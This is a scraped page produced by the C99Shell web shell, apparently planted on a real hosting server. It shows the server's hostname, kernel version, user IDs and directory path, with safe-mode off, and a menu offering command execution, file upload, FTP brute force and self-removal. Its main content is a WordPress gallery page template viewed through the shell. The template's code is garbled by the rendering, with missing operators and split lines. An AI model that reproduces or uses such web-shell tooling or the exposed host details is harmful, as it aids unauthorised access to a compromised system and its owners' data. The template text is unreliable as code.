!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.6.40-67+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux hosting1.erectacloud.it 5.4.0-182-generic #202-Ubuntu SMP Fri Apr 26 12:29:36 UTC
2024 x86_64
 

uid=5229(web473) gid=5117(client172) groups=5117(client172),5002(sshusers) 

Safe-mode: OFF (not secure)

/var/www/clients/client172/web473/web/OLD_WP/wp-content/themes/kingsize/   drwxr-xr-x
Free 181.4 GB of 490.84 GB (36.96%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     template-galleria.php (3.22 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 Template Name: Galleria Page
 **/
global $data;
$tpl_body_id 'galleria';
get_header(); 
update_option('current_page_template','body_portfolio body_galleria');

global 
$wp_query;

$template_name get_post_meta$wp_query->post->ID'_wp_page_template'true );

?>    

    
             <?php if (have_posts()) : while (have_posts()) : the_post(); ?>

                  <!--Page title start-->
                  <?php if ( $data['wm_show_page_post_headers'] == "" || $data['wm_show_page_post_headers'] == "0" ) { ?>
                    <div class="row header">
                        <div class="eight columns">
                            <h2 class="title-page"><?php the_title(); ?></h2>
                        </div>
                    </div>
                <?php } else { ?>
                    <div class="row header">
                        <div class="eight columns">
                            <h2 class="title-page"></h2>
                        </div>
                    </div>
                <?php ?>                    
                <!-- Ends Page title --> 
                
                <?php if($content $post->post_content) {  the_content();  } else { the_content(); } ?>

                   <?php    
                        $checkPasswd 
false;
                    if (!empty(
$post->post_password)) { // if there's a password
                    
if(!post_password_required($post->ID)) {
                        
$checkPasswd true;
                     }
                     else
                         
$checkPasswd false;
                    }
                    else{
                        
$checkPasswd true;
                    }


                    if(
$checkPasswd == true) :
                    
?>    
                      <!-- Galleria - place you images here -->
                          <div class="row">
                         <div id="galleria">                                             
                            <?php 
                                
//getting the page Gallery attachments images
                                
$args = array('post_type' => 'attachment''post_parent' => $post->ID,  'orderby' => "menu_order ID"'order' => ASC); 
                                
$attachments get_children($args); 
                                
$url_post_img "";                    
                                if (
$attachments) { 
                                    foreach (
$attachments as $attachment) {                                         
                                        
                                        
$url_post_img wm_image_resize('680','450'wp_get_attachment_url($attachment->ID));
                                        
$url_post_img_thumb wm_image_resize('100','50'wp_get_attachment_url($attachment->ID));


                                            if(!empty(
$attachment->post_content))
                                                
$post_title $attachment->post_title."<p>".strip_tags($attachment->post_content)."</p>";
                                            elseif(
get_post_meta($attachment->ID'_wp_attachment_image_alt'true) == "")
                                                
$post_title $attachment->post_title;
                                            else
                                                
$post_title get_post_meta($attachment->ID'_wp_attachment_image_alt'true);
                                                
                                            if(
get_post_meta($attachment->ID'_wp_attachment_image_alt'true) == "")
                                                
$post_alt $attachment->post_title;
                                            else
                                                
$post_alt get_post_meta($attachment->ID'_wp_attachment_image_alt'true);
                                    
                                            echo 
'<a href="'.$url_post_img.'" class="image">';
                                            echo 
'<img title="'.$post_title.'" data-title="'.$post_title.'"  src="'.$url_post_img_thumb.'"  data-big="'.wp_get_attachment_url($attachment->ID).'"  data-description="" />';
                                            echo 
'</a>';
                                   }
                                }
                            
?>    
                        </div>    
                        </div>
                        <?php endif; //password protected check?> 
                      <?php endwhile; ?>
                    <?php endif;?>
                     <!-- Galleria ends here -->

                     
                        <?php if ( $data['wm_show_comments'] == "1" ) {?>
                            <?php comments_template'/comments.php' ); ?>
                        <?php } else { ?>
                            <!-- No Comments -->
                        <?php ?>
                     
<?php get_footer(); ?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0095 ]--